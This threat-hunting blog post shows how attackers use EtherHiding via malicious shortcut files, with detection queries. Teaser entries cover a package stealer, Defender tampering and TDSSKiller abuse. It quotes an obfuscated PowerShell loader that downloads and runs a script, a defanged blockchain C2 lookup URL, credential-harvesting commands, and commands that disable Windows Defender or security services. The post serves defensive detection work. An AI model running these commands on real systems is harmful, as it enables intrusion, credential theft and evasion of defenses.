402. Adversaries Keep Actively Using the EtherHiding Technique

Hello everyone!

Threat actors continue to actively use the EtherHiding technique, and today we'll look at another example of it in action.

According to a report by LevelBlue, the attackers distributed malicious shortcut (.LNK) files. Interacting with these shortcuts resulted in the execution of an obfuscated PowerShell command, for example:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c $Se4n4GmJ=[System.Numerics.BigInteger]\7330349723455890650683895074414054;$fobLzAK0=[System.Numerics.BigInteger]\5070886814366709789648062014091648;$YrXdQd=$Se4n4GmJ - $fobLzAK0;for($bwusN=100+156;$YrXdQd -ne 0;$YrXdQd=$YrXdQd / $bwusN){$JZwuEnBA+=[char]\([int]\($YrXdQd % $bwusN));};iwr $JZwuEnBA -OutFile $env\:TEMP\lFdlPb.ps1 -UseBasicParsing; powershell -ep bypass -File $env\:TEMP\lFdlPb.ps1

Notice that the obfuscation leverages the BigInteger type, which by itself provides an opportunity for hunting:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: *bigint*

The downloaded script is designed to deploy a Node.js backdoor on the compromised system. One of its functions is to retrieve the command-and-control (C2) server address using the EtherHiding technique. In this case, it uses the TONAPI service, for example:

hxxps://tonapi[.]io/v2/blockchain/accounts/0:c66119f0e5635c4380441d7a79baf0c02a0ab7ea6cd78de06507fc5dc2c1a5d9/methods/get_domain

This presents yet another detection opportunity:

event_type: "dnsreqwin"

AND

dns_rname: "tonapi.io"

See you soon!

Comments

Post a Comment

Popular posts from this blog

391. Hunting for TeamPCP's Stealer

Image
Hello everyone! What do I know about stealers? They seem to be very noisy! And today, we’ll once again see that in action using TeamPCP (Haze Wolf) as an example. This time , the stealer was implanted by attackers into three versions of the xinference package (2.6.0, 2.6.1, and 2.6.2). Essentially, it collects SSH keys, various credentials, environment variables, crypto wallets, and much more, then uses cURL for exfiltration. Let’s take a look at a couple of techniques the attackers used to obtain credentials. For example, they were interested in data stored in environment variables: env | grep AWS_ env | grep -i google env | grep -i gcloud env | grep -i azure This looks fairly suspicious from a detection perspective: event_type: processcreate* AND proc_file_path: "env" AND cmdline: ("grep" AND ("aws_" OR "google" OR "azure" OR "gcloud")) Another technique was abusing kubectl to obtain credentials: kubectl get secrets --all-n...
Read more

343. Ransomware Gangs Abuse SystemSettingsAdminFlows to Evade Defenses

Image
Hello everyone! Today we'll look at another example of how adversaries abuse legitimate Windows executables to evade defenses. This time it's  SystemSettingsAdminFlows.exe . According to this report , DeadLock leveraged this utility to disable various features of Windows Defender: SystemSettingsAdminFlows.exe Defender RTP 1  SystemSettingsAdminFlows.exe Defender SpynetReporting 0  SystemSettingsAdminFlows.exe Defender SubmitSamplesConsent 0  SystemSettingsAdminFlows.exe Defender DisableEnhancedNotifications 1 The commands disable Real-Time Protection (RTP) and cloud-based protections, stops the machine from sending threat reports to Microsoft, and prevent Windows Defender from automatically submitting suspicious files for analysis. Worth a query, isn't it? event_type: "processcreatewin" AND proc_file_path: "systemsettingsadminflows.exe" AND cmdline: "defender" See you tomorrow!
Read more

013. It Can Remove Rootkits. And Your EDR!

Image
Hello everyone! Let's talk about about another very curious tool abused by threat actors. For example, it was used by LockBit and RansomHub ransomware affiliates. Guessed it already? Yes, I'm talking about TDSSKiller - a legitimate rootkit removal tool by Kaspersky. Despite the fact it was developed for malware removal, it can also be used by adversary to remove security software.  For example, here's how RansomHub affiliates used it to disable Trend Micro service according to this report : C:\Windows\tdsskiller.exe -dcsvc "TMBMServer" -accepteula By the way, according to VirusTotal, this tool isn't detected by many antivirus engines: Still, we have a few detection and hunting opportunities, for example: Command line parameters typical for the tool:  -dcsvc Metadata indicating the executable is TDSSKiller: "TDSSKiller", "TDSS rootkit removing tool" Do you know any other curious legitimate tools used to disable EDR? See you tomorrow!
Read more